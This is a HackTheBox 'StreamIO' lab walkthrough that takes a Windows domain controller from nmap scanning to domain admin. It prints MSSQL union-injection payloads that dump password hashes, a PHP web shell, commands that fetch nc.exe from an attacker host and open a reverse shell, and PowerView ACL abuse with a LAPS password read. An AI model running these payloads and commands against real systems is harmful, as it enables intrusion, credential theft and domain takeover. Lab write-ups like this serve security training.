21 KiB
HackTheBox - StreamIO
NMAP
Nmap scan report for 10.129.94.76
Host is up (0.16s latency).
Not shown: 65518 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-05 02:07:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a 2c8d a0b8 b10a eefa be20 4abd ecaf
|_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d
|_ssl-date: 2022-06-05T02:10:14+00:00; +7h00m00s from scanner time.
| tls-alpn:
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cg
i-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/5%Time=629BAD66%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-06-05T02:09:37
|_ start_date: N/A
From the nmap scan we a domain name streamIO.htb
and a subdomain watch.streamIO.htb
, adding them in /etc/hosts
file
PORT 389 (LDAP)
Running enum4linux
to enumerate LDAP
It didn't found anything so moving onto smb for checking null authenticatioin
PORT 139/445 (SMB)
Using smbclient
to see if we can list shares with null authentication
PORT 443 (HTTPS)
streamIO.htb
We can see three usernames on about.php
so they might be helpful for us later
There's also a login page, so testing for deafult credentials and sqli
Which neither worked
We have an option to register for account so let's do that
But even after registering an account we were not able to login
Ran gobuster
to fuzz for files and directories which showed an admin
directory but it was forbidden to access
Running gobuster on /admin/
showed some interesting files
Here master.php
display a message about being accessed through includes so I wasn't sure what it was talking about
watch.streamio.htb
Running gobuster on this site showed some php files
Checking the search.php
it lets us search for a movie name
Clicking on any of the movie name to watch it's going to show us a prompt that it isn't available to watch
This would be retrieving the names of the movie from a database so tried for a sqli with payload
d' or 1=1 --
Which got blocked, I replaced or with and, and it didn't caught the payload
d' and 1=1 --
Let's run sqlmap to see if we can dump the database
It was able to determine that it was indeed vulnerable
But it wasn't able to detemine the database reaon could be because of blocked.php filtering the payloads so we need to dump the database manually
For that I tried finding the number of columns but it wasn't returning any error it was hard to identify the columns by including @@version
in the column and then increasing the column if it wasn't showing in return
uwu' union select 1,@@version,3,4,5,6 --
We know that the MSSQL is being used so now we need to enumerate tables for that we can use this payload
uwu' union select 1,table_name,3,4,5,6 from information_schema.tables --
There's a users
table , we need now need to know what columns exists in this table
uwu' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' --
We can then extract username and password columns
uwu' union select 1,username,3,4,5,6 from users --
uwu' union select 1,password,3,4,5,6 from users --
To make it easy, we can concatenate both columns to get a better result
uwu' union select 1,concat(username,':',password),3,4,5,6 from users --
Using curl
we can make a POST request without sqli payload and then use sed
and awk
to get the usernames and passwords
curl -X POST 'https://watch.streamio.htb/search.php' -d 'q=uwu%27%20union%20select%201%2Cconcat%28username%2C%27%3A%27%2Cpassword%29%2C3%2C4%2C5%2C6%20from%20users%20%2D%2D' -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"
I made a dirty little one liner to extract username and password hashes
Here we are making a POST request with -d
having the post parameter q
with the sqli payload to extract username and password hashes
Next we are using grep
to grab text having h5
tag as that's where the serach text is reflected back
Piping it to sed
we can replace <h5 class="p-2">
with null character , the same with </h5>
and then removing the tabs before the usernames with tr -d "\t"
We are now only left with usernames and password hashes which we can seperate using awk
, `awk -F: '{print $1}'``
This cracked 12 hashes out of 30, so now let's try to perform bruteforce on login
We can use burpsuite or hydra to perform bruteforce but I found a tool named patator
which I recently started to like for bruteforcing and fuzzing
python3 /opt/patator/patator.py http_fuzz 'url=https://streamio.htb/login.php' method=POST body='username=FILE0&password=FILE1' 0=./users.txt 1=./cracked_passwords.txt -x ignore:fgrep='Login failed'
Here to supply different wordlist we can use any name followed by a number like 0
which indicates the first wordlist so in this case FILE0
and then we define the path to wordlist in 0
, similar we do this with FILE1
andd then we can use -x
to ingore the message in the response using fgrep
for the string `Login Failed
This has found the valid login yoshide : 66boysandgirls..
, After logging in, we can access the admin panel and can see that this user has access to some functionality
Going through each of the management page, we see a GET parameter
So maybe there's a parameter we are not seeing, so fuzzing it through wfuzz
, for that we'll need to use yoshihide's session as we cannot access admin without being authenticated
wfuzz -c -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ' -b 'PHPSESSID=j20051o8t1rbshc9doco26al06' --hh 1678
This finds a parameter debug
, and with this we can perform Local File Inclusion to read the master.php file we found in the /admin directory
The contents of the page are changed which means that we were able to include master.php file, so now to view the source code, we can use a php base64 filter to encode the contents of the page so that the browser doesn't execute the php code and we can get source code
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
yr<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 "; [37/539]
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
At the bottom of the source code we can see eval
being used on file_get_contents
on the POST parameter include
, so we can include any php file and if it contains php code it's going to be executed
So creating a file a php file having the contents
system($_GET['cmd']);
Hosting this through python server using curl
to make a POST request
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=dir' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php
We have command execution, so let's try getting a shell by downloading nc
and executing it
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=curl+10.10.14.26:2222/nc.exe+-o+C:\Windows\Temp\nc.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=C:\Windows\Temp\nc.exe+10.10.14.26+3333+-e+cmd.exe' -k -b 'PHPSESSID=bg2lbvk5d9pvrjub67e5aib3rk' -d 'include=http://10.10.14.26:2222/test.php'
Running whoami
will return that we are yoshihde user on the system
And this user is a normal domain user, checking C:\Users
there two users Matrin
and nikk37
but we don't have access to these directories
Uploading sharphound.exe
to gather data about the domain
To transfer this on to our local machine, we can copy the archive file to C:\inetpub\streamio.htb
and download the file from the site
https://streamio.htb/20220611010818_BloodHound.zip
Unzip the archive from which we'll get json files and upload them to bloodhound GUI
Looking through the pre-built quries I didn't find any way to escalate from yoshihide to any user
Jdgood seems to be write owner of Core Staff
group which can read LASPS other than that there was nothing interesting.
We can find credentials for db_user
from login.php
Also we can find password for db_admin
I tried using sqlcmd
to login using cmd but it failed
Later uploaded chisel
to port forward port 1433
With sqsh
we can login to MSSQL and execute quries in the STREAMIO
database
But we already know that only tables exits in this database, so let's see if there are any other databases
SELECT name FROM master.dbo.sysdatabases;
go
This shows a database named streamio_backup
But db_user isn't able to access this database, we already have the credentials for db admin so let's use that to access this database
Listing the tables with
SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'
We can see a users table having 8 users
That has nikk37's hash which is a user on the system, checking if crackstation can crack this hash
Since winrm is open pn the box, we can use evil-winrm
to login as nikk37
After getting a shell as nikk37 I ran winpeas.bat
which showed that there was a firefox profile
From here we only need logins.json
and key4.db
, we can use impacket's smb server to transfer files
Using firepwd
a python script to decrypt firefox passwords we can get the passwords from the logins.json and key4.db by having them in the same directory
https://github.com/lclevy/firepwd
Brute forcing the passwords we'll get JDg0dd1s@d0p3cr3@t0r
as the correct password
Jdgodd isn't in remote desktop user so we can't get a shell or execute commands but we can use the credentials in the process as this user is WriteOwner of Core Staff
group
First we'll need to create a credential object so that credentials can be used in the process
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)
Next use powerview to make the user the owner of the group
Set-DomainObjectOwner -Credential $Cred -Identity "CORE STAFF" -OwnerIdentity "JDgodd"
Adding all rights to the group
Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Rights All -Verbose -Credential $Cred
Adding Jdogdd to the group as the member
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $cred -Verbose
Now we can read LAPS password through crackmapexec and can login as the administrator
cme ldap streamio.htb -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M laps
Being an administrator as he's a domain admin, we can dump NTDS.dit with secretsdump.py
`from impacket
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
- https://stackoverflow.com/questions/9953448/how-to-remove-all-white-spaces-from-a-given-text-file
- https://github.com/lanjelot/patator
- https://stackoverflow.com/questions/5477163/how-to-switch-database-context-to-newly-created-database
- https://stackoverflow.com/questions/147659/get-list-of-databases-from-sql-server
- https://github.com/jpillora/chisel/releases/tag/v1.7.7
- https://www.sqlshack.com/working-sql-server-command-line-sqlcmd/
- https://github.com/lclevy/firepwd